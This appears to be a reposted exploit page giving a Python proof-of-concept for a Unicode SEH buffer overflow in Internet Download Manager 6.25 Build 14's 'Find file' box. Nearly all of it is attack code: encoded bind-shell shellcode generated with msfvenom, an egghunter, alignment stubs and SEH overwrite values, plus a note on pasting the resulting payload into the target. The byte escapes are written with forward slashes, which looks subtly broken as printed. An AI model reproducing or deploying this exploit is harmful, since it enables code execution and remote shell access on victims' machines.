Internet Download Manager 6.25 Build 14 – ‘Find file’ Unicode SEH Exploit

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所属分类:漏洞时代

Internet Download Manager 6.25 Build 14 - 'Find file' Unicode SEH Exploit

#!/usr/bin/python # Exploit Title: Internet Download Manager 6.25 Build 14 - 'Find file' SEH Buffer Overflow (Unicode) # Date: 20-3-2016 # Exploit Author: Rakan Alotaibi # Contact: https://twitter.com/hxteam # Software Link: http://mirror2.internetdownloadmanager.com/idman625build14.exe # Tested on: Windows 7 SP1 x86 # How to exploit: IDM > Downloads > Find > paste exploit string into 'Find file' textbox  tag = "AvAv"  # msfvenom -p windows/shell_bind_tcp lport=4444 -e x86/unicode_upper BufferRegister=EAX shellcode = ( "PPYAIAIAIAIAQATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ" "11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944J" "BKL9XU2M0KPM0QP3YZENQ7PQTTKR0NPDKR2LLDKQBN44KSBMXLO7GOZO601KO6LO" "LS1SLM2NLMP7Q8OLMKQY7IRZR1BQG4K22N04K0JOLDK0LN1SHJC0HM18Q0Q4K0YO" "0KQ9CTKOYLX9SNZQ94KNTDKKQ8V01KOVLGQ8OLMKQY708K0D5KFLC3MKHOKCMNDD" "5ZD0X4KB8O4M1IC2F4KLL0KTKPXMLKQICDKKTDKKQJ0SY0DO4NDQK1KS1QIPZ21K" "OK01O1O1JDKMBZKTM1M2HP3OBKPKP1XT7SCNR1OB42H0LCGO6LGKOIEH860M1M0K" "PMYXD1DPPQXMY3PBKKPKOHU2JKXR9R0IRKMQ0R0Q00PQXJJLO9OIPKOIE4WQXM2K" "PN11L4IYVQZLPQFPWS8XBIKNW1WKOHU0WRHWG9YOHKOKO8U27BHD4ZLOKYQKOYE0" "W671X2UBNPMS1KOYEBH2C2MRDM0TIIS27QG0WP1ZVBJLR29PVK2KM3697PDNDOLK" "QM1TM14NDLPWVKP14QD0PQF26PVOV26PNQFR6QC26QXBYXLOO3VKO9E3YK00NB6O" "VKOP0QXKX57MMC0KOZ5WKL0FUFBB6QX5V5E7MEMKOXUOLKV3LKZ3PKKIP45M57KP" "GMCCB2OBJKPQCKO9EAA")  # Windows NtAccessCheckAndAuditAlarm EggHunter # Size: 32 bytes egghunter = ( "PPYAIAIAIAIAQATA" "XAZAPA3QADAZABAR" "ALAYAIAQAIAQAPA5" "AAAPAZ1AI1AIAIAJ" "11AIAIAXA58AAPAZ" "ABABQI1AIQIAIQI1" "111AIAJQI1AYAZBA" "BABABAB30APB944J" "BQV51HJKOLOPBR2Q" "ZKRPXXMNNOLKUPZ2" "TJOWHKPOQKPT6DKJ" "ZVOT5ZJVOBUK7KOK" "7LJA")  buffersize = 6000 nseh = "/x61/x47" # popad + venetian pad seh = "/x8d/x51" # 0x0051008d: pop edi # pop esi # ret [IDMan.exe] venalign = ( "/x47" # venetian pad "/x55" # push ebp "/x47" # venetian pad "/x58" # pop eax "/x47" # venetian pad "/x05/x18/x11" # add eax,11001800 "/x47" # venetian pad "/x2d/x17/x11" # sub eax,11001700 "/x47" # venetian pad "/x50" # push eax "/x47" # venetian pad "/xc3" # ret )  venalign2 = ( "/x43" # venetian pad "/x47" # inc edi "/x43" # venetian pad "/x57" # push edi "/x43" # venetian pad "/x58" # pop eax "/x43" # venetian pad "/x05/x18/x11" # add eax,11001800 "/x43" # venetian pad "/x2d/x17/x11" # sub eax,11001700 "/x43" # venetian pad "/x50" # push eax "/x43" # venetian pad "/xc3" # ret )  junk2 = "/x71" * 108 junk3 = "/x71" * 110 evil2 = tag + venalign2 + junk3 + shellcode junk = "/x42" * (2192-(len(evil2))) evil = junk + evil2 + nseh + seh + venalign + junk2 + egghunter fill = "/x47" * (buffersize-len(evil)) buffer = evil + fill  filename = "exploit.txt" file = open(filename, 'w') file.write(buffer) file.close() print buffer print "[+] File created successfully" 

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